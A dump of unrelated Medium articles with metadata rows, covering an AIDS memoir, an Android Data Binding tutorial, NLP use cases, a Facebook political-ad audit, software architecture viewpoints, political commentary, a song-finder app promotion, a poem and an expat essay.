Perhaps the graph below will help put it into context. I do not want to minimize anyone else’s pain, but since we know more about the Vietnam Veterans than HIVeterans, perhaps it provides a baseline for PSTD. The war on AIDS was fought on our own soil, hidden in populations no one wanted to look at.
But the enormous, indispensable and invisible part of that war was how we fought and how we took care of each other.
We fought non-violently in hospitals and sick-beds. We fought non-violently in streets, in marches and demonstrations, in community forums and board rooms. The war was taken to concert halls and playing fields, where we raised consciousness and supported our spiritual, psychological and physical health. Like the Gray Ladies of WWII, we brought coffee and donuts to the troops. We helped each other live, as well as helped each other die.
When the new drugs were available in drug trials in 1994, I was 43 and tested them on my body.
Too numb to think, I just went home, exhausted, hoping the drugs would work, wondering what kind of future I had. We all did. That was my world of AIDS and one of the most difficult times in the epidemic. We had been through the storm. Now we crawled from the water, hopeful and recovering on the shore, while others, too weak to crawl, drowned around us. The drugs were in short supply and they did not work for everyone. Who will live? Who will not?
But the war on AIDS was neither won nor lost. It just became manageable. There was never any closure. We never got to celebrate, honor, mourn, or forgive. We walked away, looking for peace.
I am so terribly sorry. That is not the legacy I wanted.
In many ways, this manageable war on AIDS is like the cold war of the 60’s.
It was not intended to be won or lost. The foot soldiers don’t matter, civil discord doesn’t matter — just get over it! The economy is great so what are you complaining about? The big winners were those who profited from war, the makers of guns and ammunition. Today’s big winners are those who manufacture drugs — the same drugs I tested in the 90’s. Drug-maker or gun-maker, they don’t care about Pancake’s anger or young men’s fear of growing up. There’s no love there.
The elephant is still in the room and its getting bigger.
We are acquiring HIV, syphilus and gonorrhea at alarming rates, not to mention mental health issues and suicides. The fear and anger that Pancake describes are commonplace.
If we chose to close this chapter in our history, and I firmly believe we can, we must take it up ourselves. We must mourn for those who died and those who live half-lives with unbearable sadness and depression, or those trapped in the vagaries of SSD and Medicaid.
We must forgive those who died and those like me who survived — and especially forgive those who fell short and those who turned away. Forgive their guilt, their anger and fear. They, like us, were doing the best they could.
We must celebrate and honor our heroes, remember our miracles, and be grateful for the goodness of our lives. We can grow again and become the men we are meant to be. When we learn to heal ourselves, we teach others.
That’s the kind of men that David Goodstein, the publisher of The Advocate, envisioned in the late 70’s. Together with Werner Erhard and Rob Eichberg, Goodstein created a workshop for gay men called, The Advocate Experience and later The Experience. It was designed to help men come out, to understand coming out as an act of love — to become what we can be and know what a blessing it is to be gay. This act of coming out was so important that Rob later went on to establish National Coming Out Day. That is who we are. That is what we do. | https://medium.com/th-ink/a-message-to-sam-pancake-from-a-gay-elder-thank-you-52a5ab8d6ac4 | ['Ken Gault'] | 2020-02-19 12:11:01.322000+00:00 | ['AIDS', 'Advocate', 'Memoir', 'LGBTQ', 'Ageism'] |
BEST REVIEW OF Baby Art — Magic Box Square Essentials Elegant Gift Box With Plaster Cast For Baby Feet Or Hands, Multi-Color TO BUY | BEST REVIEW OF Baby Art — Magic Box Square Essentials Elegant Gift Box With Plaster Cast For Baby Feet Or Hands, Multi-Color TO BUY Faizal Idris May 26, 2019·2 min read
Print box, suitable for babies and toddlers 0m — 3y
Easily make an impression of your baby’s hand or foot, no baking required
Many trials allowed before drying
All material included in this baby clay print kit
Clay material is dermatologically tested for baby’s skin
=====>>> CHECK PRICING & AVAILABILITY <<<=====
Very light malleable and easy to use clay. Since it doesn’t instantly dry in fact is malleable for quite some time you have plenty of time to spend on your design or making corrections.
Very easy to use, the stand works well with the tin. I got it just before Xmas but only used it today. I wish I had this when he was first born. I tried making a fist model from his hand and a wet clay set from different companies to make imprints before I tried this magic box they were useless, they required him to be very still and to hold his hand/foot in for a very long time whereas this literally took 5–10seconds whilst he was awake. I wish I had this for his newborn imprints whereas he is now 18–24months. I am strongly considering buying more for gifts! Thank you for a great product. Good product. Easy to use definitely a two person job. Ignore most of the bad reviews they are mainly about their babies being too wriggly and them finding it difficult to do which has nothing to do with if the product works or not.
======>>>> BUY NOW <<<<======
Works great although works best if you have a bigger rolling pin as the little one leaves lines. Tip:- Ideally do this just after your babies had a feed and is slightly milk drunk, makes things a lot easier. Lovely light Plasticine thing! (I’m sure I’ve spelt it wrong!) It mounds and gets the detail of foot/ hand print really well. Takes a while to set though (8 days). As it’s white, picks up dust and dirt easily so ensure very clean hands and surfaces when molding. | https://medium.com/@faizal.idris.7410/best-review-of-baby-art-magic-box-square-essentials-elegant-gift-box-with-plaster-cast-for-baby-3491ff20722e | ['Faizal Idris'] | 2019-05-26 09:28:58.103000+00:00 | ['Baby', 'Baby Products', 'Breastfeeding', 'Amazon'] |
Android Data Binding: Under the Hood (Part 2) | Click Events & Data Update
Let's say I have a textView and a button in my XML. On button click, I want to update my text. Here comes the role of ViewModel (If you are working with MVVM, you are already aware of it.), where we write all our business logic. This is my XML:
And, This is my MainViewModel,
I updated my MainActivity to use ViewModel,
Note: To use a LiveData object with your binding class, you need to specify a lifecycle owner to define the scope of the LiveData object.
Now, Whenever a user clicks the button, the count is incremented and as this count is a LiveData and has been observed in XML by the `count_textView`, you will always see the latest updated value.
Wow, So Easy it is. But, How exactly is this happening? How does DataBinding class know that this view needs to be updated?
Well, We have the answer,
In our ActivityMainBinding class, you will find this:
You can see a field named `_localFieldCount`. This parameter now holds a value of 1 because now the XML is having one view which is observing for any changes.
In the case of static data, where we just rendered the model values, this `_localFieldCount` was 0 as no view was observing for any changes. (Check the previous article for reference.)
And this class ActivityMainBinding extends ViewDataBinding, so it calls the Parent class constructor, where we have a WeakListener array which is nothing but an array of Weak reference objects which do not prevent their referents from being made finalizable, finalized, and then reclaimed. The best part is we don’t need to worry about their cleanups. :-)
So whenever an activity sets a lifecycle owner, which is in our case is Activity Scope, ViewDataBinding class registers for a listener i.e onStartListener. Whenever the activity comes in onStart state, binding class starts executing the bindings.
@OnLifecycleEvent(Lifecycle.Event.ON_START)
public void onStart() {
ViewDataBinding dataBinding = mBinding.get();
if (dataBinding != null) {
dataBinding.executePendingBindings();
}
}
In our ActivityMainBindingImpl, we have our executeBindings, which takes the count value from ViewModel and passes to updateLiveDataRegistration method.
This updateLiveDataRegistration asks to create a weak listener for the livedata variable we passed and then start listening for the updates. (This internally sets the same lifecycleOwner for the liveData as well) This localFieldId is set to 0 in this case.
Now when the user clicks the button, `onChanged()` method from our LiveDataListener gets called,
This eventually calls our own implementation of `onFieldChange()`, which looks like this,
As we have LiveData with name ‘count’, binding class creates a similar name combing the viewmodel and variable name i.e, viewModelCount and the same way all the methods related to it follows.
Inside this onChangeViewModelCount() method, we have `mDirtyFlags`(a long value) which is getting updated, returns true and requests for rebinding which will call execute pending bindings and get views updated on the screen.
synchronized(this) {
mDirtyFlags |= 0x1L;
}
This process keeps on repeating every time we click our button.
So this is how the click events and updates are handled by DataBinding class.
For reference, you can find my DataBinding sample here: | https://proandroiddev.com/android-data-binding-under-the-hood-part-2-fdcbb0f54700 | ['Niharika Arora'] | 2021-01-04 16:51:52.158000+00:00 | ['Mvvm Databinding', 'Women In Tech', 'Data Binding', 'Android Data Binding', 'AndroidDev'] |
Top 3 NLP Use Cases a Data Scientist Should Know | Top 3 NLP Use Cases a Data Scientist Should Know
How a data scientist deals with text
Photo by Dmitry Ratushny on Unsplash
This article aims to explore the most common use cases a data scientist faces when dealing with Natural Language Processing (NLP). Setting the scene, we assume you are new to NLP, but not necessarily in data science.
As data scientists, we often have to work with unstructured data. If you are not familiar with the term, then think of structured data as a table in Excel or in an actual database, where each column is a feature or an attribute. So, the opposite of that (unstructured) is when we do not have this format. Usually, this means we have to deal with either images or text. NLP deals with the computation of text, and it is about making a computer understand our written language. Our overall objective or universal goal, if you like, is to create models that understand text similar to how a human would do. We are not there yet, but we can create models that are useful in different settings. Typically, as data scientists, we face three common tasks related to the text.
Topic modeling
Topic modeling is required when we have lots of documents, and we want to “automatically” group them into different sets (clusters), each related to a specific topic. Arguably, the most famous approach is Latent Dirichlet Allocation (LDA). In short, LDA assumes that documents have a mixture of topics, and thus each topic can generate words according to their distribution. So, when we use LDA, it basically tells us which topics created each document.
This is useful when we have no specific information about a given set of documents, and we want to create some groups that we suspect or want our documents to be grouped in.
Popular image found in SHIVAM BANSAL’s blog post
For more information on topic modeling, you can check out here and/or here.
Name Entity Recognition
Name Entity Recognition (NER) is the task of identifying entities that are referred to in a document. For example, there might be names, companies, addresses, products, etc. To achieve this at a high level of accuracy, you typically need an enormous amount of annotated training data, where a machine learning model can learn all the different entities based on the context in a given document. This means that someone has to manually go through a lot of documents and annotate them every time an entity we are interested in is present.
At the heart of this system, there are usually two steps: firstly, the model needs to understand whether a word or words are an entity or not. Given that they are an entity, then categorize it correctly.
Image from Christopher Marshall’s blog post
A very nice blog to understand this further can be found here.
Also, here is a blog focusing more on the implementation side using python and relevant libraries.
Text Classification
NER includes text classification, but often the most common task is just to predict something about a given text. This is similar to any data science use case where you train a machine learning model on relevant data, in this case, text and try to predict something out of a new unseen text.
Oversimplifying this, as in any other machine learning supervised task, given a set of features with the corresponding labels, we can create models to predict those labels. In this case, our features are extracted from the text. Given that text can be represented in many ways, deep learning approaches are frequently used, especially given that usually there are opportunities to train on large volumes of data.
Image by Rohit Agrawal’s blog post
A good source to get going is the following.
As we mentioned, a deep learning approach works best, especially with a large volume of data. This example classifies fake news using a deep learning approach. | https://medium.com/towards-artificial-intelligence/top-3-nlp-use-cases-a-data-scientist-should-know-637eacc3d1d4 | ['Alexandros Zenonos'] | 2020-12-27 01:02:37.832000+00:00 | ['Machine Learning', 'Data Science', 'Text', 'Naturallanguageprocessing', 'NLP'] |
Audit of Facebook ad transparency finds missed political ads | Audit of Facebook ad transparency finds missed political ads
After the attempts at election interference made via Facebook’s ad platform in 2016, Facebook fought off regulation by promising to bring transparency to political ads. Facebook said it would make public who is paying for political ads, along with basic facts such as how much they cost and dates they run. But our cybersecurity analysis shows vulnerability in Facebook’s transparency algorithms that reveals they routinely miss including political ads in its public archive.
The idea behind transparency: researchers, journalists, and the public have a way to understand the ads and hold political advertisers accountable. This is important, particularly for ads that mislead voters, misrepresent who is behind the ad, or suppress votes. However, it’s also crucial, even in the case of legitimate political advertising, that the public have information about who is trying to influence them and why, just as they do, for example, for political advertisements that run on TV.
[O]ur cybersecurity analysis shows vulnerability in Facebook’s transparency algorithms that reveals they routinely miss including political ads in its public archive.
And there are some things that we — a cybersecurity lab, the Online Political Transparency Project, housed at NYU’s Tandon School of Engineering–commend about Facebook’s approach to transparency. For example, we appreciate that Facebook’s criteria for what it includes in the political ad library are broad and includes ads focusing on social issues–which Google does not do.
But our 2019 analysis shows showed that Facebook routinely fails to include political ads as soon as they launch in the Facebook Ad Library, only identifying them as “political” after they’ve been running for some time. That observation left us wondering, though– how many political ads does Facebook never catch? Are there specific political issues or types of ads that are harder to identify? How consistent is enforcement generally?
In order to understand how well Facebook was doing at enforcing its disclosure policies, we decided to build a browser extension called Ad Observer, which allows Facebook users to share with us ads that are displayed on their Facebook feeds. This isn’t a new idea — ProPublica developed the Facebook Political Ad Collector in 2017, which several organizations promoted and supported. Other researchers have also developed similar tools, such as the UK-based Who Targets Me?
Why build something new? Well, first the Facebook Political Ad Collector had to battle through Facebook’s attempt to block it via technical means. But the Facebook Political Ad Collector project needed a way to collect ads from Facebook’s new site design, and from Youtube, and Who Targets Me? doesn’t publicly release the political ads collected by their users.
Ad Observer has been running for several months now, and we’re starting to have meaningful data to explore. Since our focus is on political advertising, we trained a classifier on Facebook’s corpus of ads included in their Ad Library under the labels “Social Issues,” “Elections,” and “Politics.” This classifier identifies content that is similar to content that’s already in the library; in other words, it’s a political ad classifier, for Facebook’s definition of “political.” We use this classifier to identify ads that weren’t disclosed as political to our browser extension users, but should have been. Then, we provide transparency about these as ones that Facebook missed, here.
We’re still in the early stages of this analysis, but it’s interesting to explore what we’re starting to see. Here’s one example of an ad Facebook missed:
As I’m writing this, this ad is actually still running, so I can see it via the web portal for non-political ads, although we can’t see how much was spent on the ad, or the age, gender or state breakdown of the people who were shown it:
But what’s really interesting about this ad is that it’s not just an ad, it’s also a ‘paid partnership’:
“Paid Partnership” is Facebook “ad-speak” for ads where the advertiser (in this case, Joe Biden) is paying an influencer (in this case, “We are mitú”) for the ad, rather than Facebook. Facebook does not generally provide information about these types of ads. The reason it’s visible through the Facebook Ad Library, and that it was caught by Ad Observer, is that in addition to running this as a Paid Partnership ad, someone also paid to run it as a Facebook ad. As to how Facebook wasn’t able to identify this ad with Joe Biden’s name and picture in it as political, we can’t say.
You can see eleven more examples of political ads Facebook missed from the past few weeks that we are highlighting we chose here. We’re going to keep updating Ad Observatory this page every few days with some of the more interesting examples, so check back soon as well! | https://medium.com/online-political-transparency-project/audit-of-facebook-ad-transparency-finds-missed-political-ads-603f95027cc6 | ['Laura Edelson'] | 2020-10-22 21:52:27.006000+00:00 | ['Facebook', 'Data Journalism', 'Election 2020', 'Political Ads', 'Online Platform'] |
Software Architecture: Views and Viewpoints | Image Source: lynda.com
One of the most used strategies nowadays in many problem-solving challenges is “divide and conquer”. This has not left Software Architecture out.
As you may know, the job of a software architect involves finding the needs and requirements of the stakeholders and addressing them in a reasonable manner, which is realistic and efficient. For this purpose, one of the main responsibilities is preparing an architecture design document. A more formal definition of software architect can be found here.
There can be a huge amount of stakeholder concerns, and addressing all of them in one stage is not considered a good practice. Here comes in handy the concept of “divide and conquer”.
In order to simplify the architecture design and make it more readable for the target user, the concept of views has been introduced.
Formally, a view, in software architecture, is a way to portray those aspects or elements of the architecture that are relevant to the concerns the view intends to address and, by implication, the stakeholders to whom those concerns are important.
What is implied by this, is the fact that we split the big problem into small subparts, each of which addresses some specific set of concerns of stakeholders. Each view is a different look at the problem and could be targeted to a specific audience. Some stakeholders may be interested in a specific view more than others, and vice versa.
Then a question arises. How do we define, which views to create? Should I invent them from scratch for every project? Or what should I do?
Luckily, we have viewpoints. These act as templates when creating the views. Viewpoint is like a blueprint to what can be created later as a view.
A viewpoint is a collection of patterns, templates, and conventions for constructing one type of view. It defines the stakeholders whose concerns are reflected in the viewpoint and the guidelines, principles, and template models for constructing its views.
There are different accepted types of viewpoints, and a software architect can choose any of them to address in the specific project. The most common viewpoints are context, functional, information, concurrency, development, deployment, and operational.
Context viewpoint addresses overall relationships and dependencies between the components of the project and the way the system interacts with its environment
addresses overall relationships and dependencies between the components of the project and the way the system interacts with its environment Functional viewpoint describes the system’s runtime functional elements, their responsibilities, interfaces, and interactions between them
describes the system’s runtime functional elements, their responsibilities, interfaces, and interactions between them Information viewpoint is intended to address the ways data is collected, stored, and managed to make the system work
is intended to address the ways data is collected, stored, and managed to make the system work Concurrency viewpoint includes aspects of how concurrent units of the program are handled and what parts specifically can execute concurrently
includes aspects of how concurrent units of the program are handled and what parts specifically can execute concurrently Development viewpoint is made for use of technical staff, which build and test this software. It includes design specifications of software and is used as a guideline when preparing the product
is made for use of technical staff, which build and test this software. It includes design specifications of software and is used as a guideline when preparing the product Deployment viewpoint describes where and how the system will be deployed and includes technical details for dependencies and other requirements
describes where and how the system will be deployed and includes technical details for dependencies and other requirements Operational viewpoint handles the part that comes in a production environment, which includes how the software will be operated, administered, and supported
It is worth noting that not all projects require all of these viewpoints to be used. Some have more weight and some less depending on the type of software that you build.
These blueprints help to build a document that describes many aspects but does not overwhelm the reader. However, it is still the job of the software architects to decide on which viewpoints to use to construct views and the level of detail they require.
What distinguishes a good software architect from a bad one is the ability to satisfy the stakeholders, while also balancing the opportunity costs. It would be unrealistic to address all the concerns, as there are time and cost limits for all the projects. Software architect has to choose, which concerns are most important, and explain why. | https://medium.com/@frmusazade/software-architecture-views-and-viewpoints-113d1592fe3a | ['Fidan Musazade'] | 2020-12-25 08:07:25.369000+00:00 | ['Architectural Design', 'Software Architecture', 'Views', 'Viewpoints', 'Software Architect'] |
2800 Clinton emails found on Weiner’s laptop to be released today by State Dept. | The U.S. State Department told Judicial Watch that portions of 2800 emails found on Anthony Weiner’s laptop will be released today. Judicial Watch is an organization dedicated to revealing federal government corruption through freedom of information law suits.
These emails were first discovered by the FBI by accident on Nov. 16, 2016 during a criminal investigation of Weiner. He was sentenced in September to 21 months in federal prison after pleading guilty in May to transferring obscene material to a minor. Weiner was a former Congressman from New York.
At the time of Weiner’s arrest, he was married to Huma Abedin. She was Clinton’s top assistant, advisor, and confidant when Clinton was running for President and serving as Secretary of State.
These emails were the work product of Hillary Clinton while she was Secretary of State. She was investigated by the FBI for illegally using personal emails to conduct State Department business. All of Clinton’s emails were available to Huma Abedin. Why official State Department business was on Weiner’s laptop is unknown. | https://medium.com/@brassballsblog/2800-clinton-emails-found-on-weiners-laptop-to-be-released-today-by-state-dept-84487202b46d | [] | 2017-12-29 14:23:35.837000+00:00 | ['Hillary Clinton', 'Huma Abedin', 'Anthony Weiners Laptop', 'Anthony Weiner', 'Clinton Emails'] |
Aviary | There’s something childlike about meandering around another city’s streets in the quiet of a Sunday morning in midwinter. I often find myself peering into bookstores, cafes, galleries, imagining what animates these spaces at night, before they sleepily greet the Sunday morning strollers.
On a quick January visit to Boston, my friend and I oscillated between introspective walks and the intensity of nocturnal pursuits (namely, an accidental punk/country show between the hulks of campus buildings and a surprisingly good 90s dance party in Jamaica Plain, snug between a bizarre toy store and a 24-hour deli). Somewhere in between, we found ourselves with time to document. Perched on rickety stools, gazing out fogged-up windows at the empty galleries across the street as we sipped the day’s first bitterness, we decided to indulge our imaginations and knead emptiness into possibility.
Perhaps it was the taste of spring in the air or the soothing sound of chirping from still-bare branches, but we kept picturing birds. They would spiral down from a dusty crawl-space, tracing flight paths around an empty gallery, humming with energy, then, their curation complete, return to nest.
One of the habits I find myself returning to, especially when traveling, is taking an extra moment to listen, observe, imagine the miniature worlds chirping quietly behind windows.
Now that travel is an imagined luxury, I like the idea of imbuing these pauses into my hyper-local walks. With many storefronts empty, boarded, or covered with newspaper (at least for now), there is time to be curious. Next time you find yourself with a little extra time, consider learning your (masked) face towards a window. Take a deeper breath. Let your mind draw an imagined world. Remember that every space has a story.
Photo by Nolan Issac on Unsplash
The wooden sign
leans, tired, against the
pale green door frame.
It promises ‘OPEN’, but
the only signs of life are
a stepladder, abandoned,
an empty birdcage,
muted prints, hung like laundry,
fading in late-morning sun.
But, peering through the window
we glimpse
(through the fog of our winter-breath):
a flutter of movement,
a ribcage expanded.
Catch:
the quiet rustle
of tiny wings flapping,
freed from a
trap-door attic,
suddenly,
joyfully,
uncontained.
They carry echoes
of a frenzied night’s work
displaying, aligning, adjusting,
dissipating
into these
quiet hours
made still by waning light.
As our faces turn
back to the street,
they spiral upward,
rising to nest
in bare branches.
Our steps, heavy with expectation
strike more lightly, as if those
cascades of tiny wings
could rise in our ribcages
ignite our imaginations:
turn white-washed walls
into canvasses. | https://medium.com/@mixedupyogi/aviary-9389219e2e8e | ['Mixed-Up Yogi'] | 2020-05-20 22:45:28.541000+00:00 | ['Travel', 'Birds', 'Imagination', 'Boston', 'Friendship'] |
How Can You Satiate Your Need To Feel Good? | Why do you watch a movie?
For entertainment, you might say.
But, aren’t most movies made about the good winning over evil or happily living ever after? Why so?
Is it because that’s what appeals to our reptilian brain?
Do we need to feel assured and good at the end of an entertainment event so we can carry that “good” feeling longer?
There’s a ton of blame put on the modern media for sharing news and stories that spotlight things gone wrong. However, when good wins over evil or some of these disasters we hear about, are met with helping hands or made amends to, and such news confronts us, we feel good. Right?
Well, as humans we are wired for a sense of security and well being, and expect to see the same around us, in search of conformity. Nothing wrong with that! And, when we see or hear good news, our spirits are definitely lifted.
Happiness is an essential ingredient of our lives and everything we do, is geared toward it. Being cheerful, being in a good mood or generally happy, allows us to waltz through our day with carefree abandon, and to be at our productive best.
After all, a simple smile in the mirror can kick this off for you, everyday. Many times, it acts as our coping mechanism against the stress of daily life.
There’s plenty around us that can hold a mirror to what’s gone wrong. And to combat that, we crave to learn or observe what’s being done to make the wrong, right. There is a balance in doing that for our own well being, and that of others around us.
Some have argued that good news provides for escapism more than optimism. Expecting that things will be all right, and looking forward to it is definitely optimism, and is very much needed to face the storm of challenges and negativity.
Our attitude and inner happiness is the result of such optimism. It gives us the strength to keep going forward despite the challenges, and this strength is vital in times that are not the most optimal.
While the fact that there is some level of escapism from reality cannot be denied, it is for one’s own good, to help you hold on to hope and keep going until you reach your destination.
It also helps bolster our belief in human endeavor and faith, to reach out to each other during difficult times and draw inspiration from one another in going on with our lives.
We do not appreciate the good unless we learn of the bad, let alone experience it. So, every happy ending is to a bad beginning or a bad story, right?
Such endings provide us with the reassurance we need that it will be all right in the end, which ensures we have the strength to go through it now in anticipation of that happy ending.
Good vibes or good news is vital to our well being. The effect it has on us is immeasurable and can mean the difference in how we fare through a crisis. The hope it provides allows for our creativity to come forth in search of an optimal solution.
Psychology tells us that waking up to good news is better for you. It sets your mood for the day and provides you the strength to take on challenges with a mindset that it will eventually be all right.
Happiness is ours to control and wield. Yet, we look for it everywhere else, but within us.
Start from within and you will not have to look far! | https://medium.com/@rajeevmudumba/how-can-you-satiate-your-need-to-feel-good-3364e2946d52 | ['Rajeev Mudumba'] | 2020-12-16 18:26:54.305000+00:00 | ['Good News', 'Feelings', 'News', 'Feel Good', 'Optimism'] |
No, Trump Will Not Declare Martial Law | I heard a rumor week before last. This particular rumor was being passed along by associates in Asia who claimed to have inside sources in the Chinese government. Like a lot of rumors I’ve heard this year, I found no reliable basis for it.
The Chinese Communist government was the source of the rumor. They claimed President Trump was going to declare martial law.
I assured my friends it wasn’t true. Such an act would embroil America in massive chaos, protesters, or their victims, would literally die in the streets. President Trump is never going to allow that.
My friends didn’t believe me. They were convinced Chinese intelligence had the inside scoop.
The same rumor has made it’s way to me through other sources now. The rumor seems to be picking up steam.
And despite my protestations, and absent any evidence of it’s validity, the people passing it along refuse to doubt it’s truth.
They want to believe it’s true because they want to believe the election was stolen and there’s a way to salvage it.
Of course, there was fraud. It was predictable. In fact, it was predicted. Months before the election it was obvious there would be some level of fraud. The stakes were too high, the barriers against it too low, and the culture of corruption in many big cities too endemic.
The question was never whether there would be fraud. The questions were how much fraud would there be, and what were Republicans doing to prevent it. We will never really know the answer to the former. We won’t know because the answer to the latter is clearly far too little, far too late. Lawsuits alleging fraud don’t fly without real evidence. But Republicans didn’t put themselves in a position to collect the evidence while the fraud was happening. And now, all they can do is point to cases of qualitative malfeasance. But malfeasance without quantitative evidence isn’t enough.
Recounting fraudulent votes is only going to tell you the same thing you were already told the first time they were counted. To prove fraud, you have to get to the fraudulent ballots before they’re counted. Track them. Challenge them. Segregate them. Do the work of finding the voters associated with them. And, you have to show there were enough fraudulent ballots to have made a difference.
We can’t even contact trace a thousand cases of Covid. Why does anyone think we’ll track down hundreds of thousands of possibly fraudulent ballots even if we knew who those ballots ostensibly belonged to. We don’t know that since they were not flagged, challenged, and isolated before they were counted. As a result, we can’t prove fraud made a material difference in the election’s outcome.
What’s all this got to do with martial law? Nothing. Except that the Chinese Communists and Democrats both have a strong interest in fomenting political chaos. Generally speaking, chaos undermines people’s confidence in our political institutions and our elections.
But, more urgently, the chaos around the past election very likely means Republicans will lose the next election. The one that will determine partisan control of the United States Senate and whether the far left progressives in the Democrat Party get the chance to impose their radical agenda. That election is the Senate run-off elections in Georgia scheduled for January 5th.
40% of voters think Trump was robbed. If Trump and Republicans keep telling them the elections in Georgia are rigged, why will they turn out?
And with Democrats spending $500 million in the Georgia run-off, most of it on turning out their voters, even a slight drop in Republican turn-out will kill Republican chances.
The old Chinese blessing reportedly goes like this, “may you live in interesting times.” For Democrats, these times leading up to Georgia do seem blessed. For Republicans, these interesting times may prove a curse.
It’s not over and a lot could change. Trump could admit defeat. Ok, probably not. But he could at least admit Biden (or Harris) will be the next president while refusing to concede.
Then he could do one of two things that might help Republicans win in Georgia and protect what he’s accomplished as president.
First, he could campaign relentlessly in Georgia for Republicans. Second, he could get out of the way and let Republicans argue that winning in Georgia will be the only brake on the worst instincts of the leftists in the Biden-Harris Administration and Congress.
Either would help. Both, together, would be a powerful help for Republican chances.
The one thing that will surely hurt is sowing further chaos and confusion. So long as it goes on, Republicans will be divided, and Democrats will win.
The chaos itself is bad for America. But if Democrats use it to take control of the Senate, America may never recover.
So long as Trump supporters believe against all odds that Trump will be sworn in for a second term, they’ll continue to believe whatever dumb rumor no matter how much they hurt, even the rumors promoted by America’s enemies. | https://medium.com/@tonymarsh755/no-trump-will-not-declare-martial-law-8c4d9a98dc22 | ['Tony Marsh'] | 2020-12-18 21:34:12.986000+00:00 | ['Republican Party', 'China', 'Trump'] |
[Solved] How to Find Who Sings the Song Step by Step | Alternatively, you can use the Google Voice Search feature.
Open your Google Search App. Tap on the Recorder icon to make Google listen to the song playing around you. You should see a song card and get search results for the song. If Google cannot find the song, you may get a message that says, “Couldn’t find any close matches.”
3. How to Find Who Sings This Song With Google Assistant Help
Touch and hold your Home button and say Hey Google. Ask “Google who sings this song “Or “Ok Google who sings this song”. Play the song when the recorder is on. You may also him the song or sing a part of the song that you know.
Play the song option allows you to see the song’s video on YouTube with the name of the artist. Hum and sing-along option uses lyrics to search for potential matches. You should be able to see full lyrics and YouTube video links for related and potential search results.
4. Find Who Sings This Song Siri/Alexa
Siri
Ask Siri, “Who sings this song playing?” or “Who sings this song, Siri”. Siri automatically engages Shazam and gives you related results. Tap the result to play the song on your iPhone.
Alexa
With Alexa Song ID, users can identify the name of the artist and their song before each play. This feature is available in the US and UK. Users can only use Song ID with Prime Music and Amazon Music Unlimited.
As you are playing music on Alexa, ask Alexa to turn on Song ID. After confirming Song ID is on, Alexa will state the title of music and artist before playing each song.
5. Who Sings This Song With These Lyrics?
If you know some parts of the lyrics of a song, you can simply type it on Google search using the format below:
“Someday when my cry is gone + song” or “Tell me who sings this song + Someday when my cry is gone”
You should find songs that bear the lyrics and narrow the results down to the actual song you need.
6. The Best 5 Music Finder for “Who Sings This Song”
1. Shazam
Shazam remains the best Who sings this song app. It supports both Android and iOS devices. It has become so popular that people use the words, “Shazam that song.” In less than 10 seconds you can identify the artist of a song and get the Karaoke version of the song. Its very simple user interface also makes it most users’ favorite.
2. Google Music Recognizer
The Google Music Recognizer is pre-installed on many recent Android smartphones. It works like Google Assistant to identify songs playing around users. You can also hum or sing parts of a song while the GMR locates the song on YouTube with the complete lyrics. This is one of the fastest music finder tools you will find.
3. Music ID
If you need a simple yet effective search engine for music, Music ID should do. It has a very simple and minimalist user interface. It simply detects the name of the artist with the song. Users can also see the artist’s profile on popular social media or artist promotion platforms like Mixcloud, Spotify, and others.
4. BeatFind
What makes BeatFind unique from the other music finder tools is its ability to detect and find tunes and give results in a short time. It also detects songs playing around the user. The only challenge users face with BeatFind is the sheer amount of ads they must put up with before they can use the app successfully.
5. SoundHound
SoundHound uses A. I to deliver an excellent music video experience to users. Just like Google Assistant, you can say, “Hey SoundHound. Who sings this song on the radio?” or “Can you tell me who sings this song?” SoundHound plays music videos. Users only complain that SoundHound music goes off when your screen is in idle mode.
How to Add Music to Video Online and Offline
HitPaw is the latest popular video editor online. It combines all the tools required to make professional videos in one kit. HitPaw can be used both online and offline to add music to video.
HitPaw Online
It only takes 3 simple steps to add music to video on HitPaw Online:
Visit https://www.hitpaw.com/add-music-to-video-online.html and click the button Add Music to Video Now. Open the Folder icon to locate the video on your device or simply drag and drop the video on the timeline.
3. Select music from your device and adjust the music to fit the video.
4. Click Save and download the new video with music.
HitPaw Offline
HitPaw Toolkit can be downloaded on Windows PC and used to add music to video without an internet connection.
Download and install HitPaw Toolkit. Launch the HitPaw software and select Add Music from the main menu.
3. Upload the target video then add music.
4. Trim the music until it aligns with the video. Adjust the music volume.
5. Click Create to export the edited video.
Conclusion
Do you wonder who sings this song who sings this song? We have detailed all the tools you need to find who sings the songs you love. You can download the songs and add them to videos using HitPaw Online or HitPaw Toolkit. | https://medium.com/@hitpaw/solved-how-to-find-who-sings-the-song-step-by-step-1e8aac7e6ee0 | [] | 2021-04-25 10:03:38.664000+00:00 | ['Music', 'Video Editing', 'Videos', 'Songs'] |
Why Civility Matters | I left the US eighteen years ago this month.
I mark every June with a shout out to my former life, and a grateful pat on the back for past me who made the decision to go. It wasn’t an easy decision. Leaving behind our lives, careers, friends and family to start anew in New Zealand was damned risky and more than one person told us so.
“You’ll be back in a year,” a couple smug would-be soothsayers claimed.
Their prognostications proved faulty.
One of those self-same soothsayers contacted me a while back to ask me what it would take for them to immigrate to New Zealand. I mercifully did not remind them of their snarky prediction so many years ago, but instead pointed them at the NZ Immigration website with some helpful tips.
They, like me, have watched in dismay at the fundamental breakdown of civility and fair treatment in US politics and public life, and an advent of viciousness and indelicacy which is not only patently embarrassing, but is tearing the US apart.
Be civil to all; serviceable to many; familiar with few; friend to one; enemy to none. — Benjamin Franklin
Why Did We Leave?
There are any number of reasons we decided to say our goodbyes to the United States.
My partner and I had both lived outside the US before. I lived in countries all around Asia; she had traveled extensively through Europe. Before our kids were born, we lived on an island in the Cyclades (Greece).
Our kids had reached school age, and we again longed for adventure rather than a mortgage. We had saved enough money to either indenture ourselves to a bank for a mortgage, or take the money and use it to set off on a new journey. We chose the latter. (I really, really, REALLY don’t like owing money to banks.)
Career opportunity was a small but contributing factor to our decision as well. While the pay in New Zealand was, with the exchange rate, significantly less, the number of skilled labourers (particularly in our fields) were in short supply. San Francisco was (and I understand still is) so overrun in job applicants, it was an ever-losing uphill battle to get and keep stable work.
Sure, those were all contributing factors, and I don’t dismiss them out of hand. Yet in the end, the biggest factor by far was the unsettling trend we saw taking hold in America. The populace — particularly where politics and opinion were concerned — were growing foul-tempered and growling with invective.
Civility, it seemed, was on its way out. Discourse and rational debate were in increasingly short supply, quickly being replaced with a nasty spite and ravenous need to shout down everyone who failed to agree.
